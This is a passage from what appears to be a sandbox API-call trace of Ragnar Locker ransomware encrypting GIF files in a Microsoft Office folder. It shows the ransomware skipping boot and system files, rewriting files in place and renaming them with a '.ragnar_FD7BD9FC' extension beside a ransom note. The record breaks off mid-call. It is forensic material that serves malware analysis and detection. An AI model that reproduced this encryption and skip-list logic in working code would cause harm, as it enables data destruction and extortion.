[0097.678] lstrcmpiW (lpString1="BULLETS.DLL", lpString2="..") returned 1 [0097.678] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2f35a00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc2f35a00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115834.GIF", cAlternateFileName="")) returned 1 [0097.678] lstrcmpiW (lpString1="J0115834.GIF", lpString2=".") returned 1 [0097.678] lstrcmpiW (lpString1="J0115834.GIF", lpString2="..") returned 1 [0097.678] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4248700, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4248700, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115835.GIF", cAlternateFileName="")) returned 1 [0097.678] lstrcmpiW (lpString1="J0115835.GIF", lpString2=".") returned 1 [0097.678] lstrcmpiW (lpString1="J0115835.GIF", lpString2="..") returned 1 [0097.678] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc555b400, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc555b400, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115836.GIF", cAlternateFileName="")) returned 1 [0097.678] lstrcmpiW (lpString1="J0115836.GIF", lpString2=".") returned 1 [0097.678] lstrcmpiW (lpString1="J0115836.GIF", lpString2="..") returned 1 [0097.678] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x497bb300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x497bb300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115839.GIF", cAlternateFileName="")) returned 1 [0097.678] lstrcmpiW (lpString1="J0115839.GIF", lpString2=".") returned 1 [0097.678] lstrcmpiW (lpString1="J0115839.GIF", lpString2="..") returned 1 [0097.678] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aace000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4aace000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115840.GIF", cAlternateFileName="")) returned 1 [0097.678] lstrcmpiW (lpString1="J0115840.GIF", lpString2=".") returned 1 [0097.678] lstrcmpiW (lpString1="J0115840.GIF", lpString2="..") returned 1 [0097.678] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aace000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4aace000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115841.GIF", cAlternateFileName="")) returned 1 [0097.679] lstrcmpiW (lpString1="J0115841.GIF", lpString2=".") returned 1 [0097.679] lstrcmpiW (lpString1="J0115841.GIF", lpString2="..") returned 1 [0097.679] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aace000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4aace000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115842.GIF", cAlternateFileName="")) returned 1 [0097.679] lstrcmpiW (lpString1="J0115842.GIF", lpString2=".") returned 1 [0097.679] lstrcmpiW (lpString1="J0115842.GIF", lpString2="..") returned 1 [0097.679] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aace000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4aace000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115843.GIF", cAlternateFileName="")) returned 1 [0097.679] lstrcmpiW (lpString1="J0115843.GIF", lpString2=".") returned 1 [0097.679] lstrcmpiW (lpString1="J0115843.GIF", lpString2="..") returned 1 [0097.679] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bde0d00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4bde0d00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115844.GIF", cAlternateFileName="")) returned 1 [0097.679] lstrcmpiW (lpString1="J0115844.GIF", lpString2=".") returned 1 [0097.679] lstrcmpiW (lpString1="J0115844.GIF", lpString2="..") returned 1 [0097.679] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c9cf00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x57c9cf00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115863.GIF", cAlternateFileName="")) returned 1 [0097.679] lstrcmpiW (lpString1="J0115863.GIF", lpString2=".") returned 1 [0097.679] lstrcmpiW (lpString1="J0115863.GIF", lpString2="..") returned 1 [0097.679] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c9cf00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x57c9cf00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115864.GIF", cAlternateFileName="")) returned 1 [0097.679] lstrcmpiW (lpString1="J0115864.GIF", lpString2=".") returned 1 [0097.679] lstrcmpiW (lpString1="J0115864.GIF", lpString2="..") returned 1 [0097.679] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c9cf00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x57c9cf00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115865.GIF", cAlternateFileName="")) returned 1 [0097.679] lstrcmpiW (lpString1="J0115865.GIF", lpString2=".") returned 1 [0097.679] lstrcmpiW (lpString1="J0115865.GIF", lpString2="..") returned 1 [0097.679] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58fafc00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58fafc00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115866.GIF", cAlternateFileName="")) returned 1 [0097.679] lstrcmpiW (lpString1="J0115866.GIF", lpString2=".") returned 1 [0097.679] lstrcmpiW (lpString1="J0115866.GIF", lpString2="..") returned 1 [0097.679] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58fafc00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58fafc00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115867.GIF", cAlternateFileName="")) returned 1 [0097.679] lstrcmpiW (lpString1="J0115867.GIF", lpString2=".") returned 1 [0097.679] lstrcmpiW (lpString1="J0115867.GIF", lpString2="..") returned 1 [0097.679] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58fafc00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58fafc00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115868.GIF", cAlternateFileName="")) returned 1 [0097.679] lstrcmpiW (lpString1="J0115868.GIF", lpString2=".") returned 1 [0097.679] lstrcmpiW (lpString1="J0115868.GIF", lpString2="..") returned 1 [0097.679] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c5b7000, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8c5b7000, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0097.679] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0097.679] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0097.680] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c5b7000, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8c5b7000, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0097.680] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0097.680] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8c6032c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8c6032c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0097.680] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8c6032c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8c6032c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.680] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992c8400, ftCreationTime.dwHighDateTime=0x1bd5de4, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x992c8400, ftLastWriteTime.dwHighDateTime=0x1bd5de4, nFileSizeHigh=0x0, nFileSizeLow=0x967, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10253_.GIF", cAlternateFileName="")) returned 1 [0097.680] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.680] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD10253_.GIF" | out: lpString1="BD10253_.GIF") returned="BD10253_.GIF" [0097.680] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF") returned=".GIF" [0097.680] lstrcmpiW (lpString1="BD10253_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.680] lstrcmpiW (lpString1="BD10253_.GIF", lpString2="autorun.inf") returned 1 [0097.680] lstrcmpiW (lpString1="BD10253_.GIF", lpString2="boot.ini") returned -1 [0097.680] lstrcmpiW (lpString1="BD10253_.GIF", lpString2="bootfont.bin") returned -1 [0097.680] lstrcmpiW (lpString1="BD10253_.GIF", lpString2="bootsect.bak") returned -1 [0097.680] lstrcmpiW (lpString1="BD10253_.GIF", lpString2="bootmgr") returned -1 [0097.680] lstrcmpiW (lpString1="BD10253_.GIF", lpString2="bootmgr.efi") returned -1 [0097.680] lstrcmpiW (lpString1="BD10253_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.680] lstrcmpiW (lpString1="BD10253_.GIF", lpString2="desktop.ini") returned -1 [0097.680] lstrcmpiW (lpString1="BD10253_.GIF", lpString2="iconcache.db") returned -1 [0097.680] lstrcmpiW (lpString1="BD10253_.GIF", lpString2="ntldr") returned -1 [0097.680] lstrcmpiW (lpString1="BD10253_.GIF", lpString2="ntuser.dat") returned -1 [0097.680] lstrcmpiW (lpString1="BD10253_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.680] lstrcmpiW (lpString1="BD10253_.GIF", lpString2="ntuser.ini") returned -1 [0097.680] lstrcmpiW (lpString1="BD10253_.GIF", lpString2="thumbs.db") returned -1 [0097.680] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.680] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.680] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.680] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.681] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.681] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.681] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10253_.gif")) returned 0x20 [0097.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10253_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.682] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2407) returned 1 [0097.683] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x95e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.683] GetProcessHeap () returned 0x580000 [0097.683] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.683] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.712] VirtualAlloc (lpAddress=0x0, dwSize=0x967, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.712] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.712] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.712] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x967, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x967, lpOverlapped=0x0) returned 1 [0097.712] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.712] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x967, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.712] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x967, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x967, lpOverlapped=0x0) returned 1 [0097.712] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x967, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.712] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.713] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x967, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.713] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.713] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.713] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.713] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.713] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.713] GetProcessHeap () returned 0x580000 [0097.713] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.713] CloseHandle (hObject=0x10c) returned 1 [0097.713] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF" [0097.713] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF.ragnar_FD7BD9FC" [0097.713] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10253_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10253_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.714] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dec3400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5dec3400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10254_.GIF", cAlternateFileName="")) returned 1 [0097.714] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.714] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD10254_.GIF" | out: lpString1="BD10254_.GIF") returned="BD10254_.GIF" [0097.714] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF") returned=".GIF" [0097.715] lstrcmpiW (lpString1="BD10254_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.715] lstrcmpiW (lpString1="BD10254_.GIF", lpString2="autorun.inf") returned 1 [0097.715] lstrcmpiW (lpString1="BD10254_.GIF", lpString2="boot.ini") returned -1 [0097.715] lstrcmpiW (lpString1="BD10254_.GIF", lpString2="bootfont.bin") returned -1 [0097.715] lstrcmpiW (lpString1="BD10254_.GIF", lpString2="bootsect.bak") returned -1 [0097.715] lstrcmpiW (lpString1="BD10254_.GIF", lpString2="bootmgr") returned -1 [0097.715] lstrcmpiW (lpString1="BD10254_.GIF", lpString2="bootmgr.efi") returned -1 [0097.715] lstrcmpiW (lpString1="BD10254_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.715] lstrcmpiW (lpString1="BD10254_.GIF", lpString2="desktop.ini") returned -1 [0097.715] lstrcmpiW (lpString1="BD10254_.GIF", lpString2="iconcache.db") returned -1 [0097.715] lstrcmpiW (lpString1="BD10254_.GIF", lpString2="ntldr") returned -1 [0097.715] lstrcmpiW (lpString1="BD10254_.GIF", lpString2="ntuser.dat") returned -1 [0097.715] lstrcmpiW (lpString1="BD10254_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.715] lstrcmpiW (lpString1="BD10254_.GIF", lpString2="ntuser.ini") returned -1 [0097.715] lstrcmpiW (lpString1="BD10254_.GIF", lpString2="thumbs.db") returned -1 [0097.715] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.715] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.715] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.715] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.715] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.715] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.715] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10254_.gif")) returned 0x20 [0097.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10254_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.716] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=240) returned 1 [0097.716] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.716] GetProcessHeap () returned 0x580000 [0097.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.716] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.717] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.717] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.717] SetFilePointerEx (in: 